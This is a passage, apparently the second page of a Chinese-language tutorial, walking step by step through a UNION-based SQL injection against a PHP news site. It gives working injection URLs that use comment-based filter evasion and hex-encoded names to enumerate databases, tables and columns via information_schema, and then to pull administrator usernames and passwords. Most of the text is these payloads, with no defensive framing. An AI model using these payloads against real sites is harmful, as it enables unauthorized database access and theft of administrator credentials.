xx.com/news_info.php?wid=-1/**/union/**/select/**/1,SCHEMA_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15 from/**/information_schema.SCHEMATA limit 17,1/*


图2

遍里webbase里面的表名，找到敏感的表，如图三（0x77656262617365是webbase的十六进制编码）

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=0x77656262617365/**/limit/**/11,1


图3

tg_adminuser十六进制编码为0x74675F61646D696E75736572，依次查找该表里面的字段名，如图4，图5

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/1,1

图4

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/2,1

图五

数据库，表名，字段我们都知道了，查出密码就很简单了，如图六

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,username,3,4,password,6,7,8,9,10,11,12,13,14,15/**/from/**/webbase.tg_adminuse

图6

文章就到这里结束了，懂点sql语法的朋友应该看的比较明白了：）

上一页  [1] [2]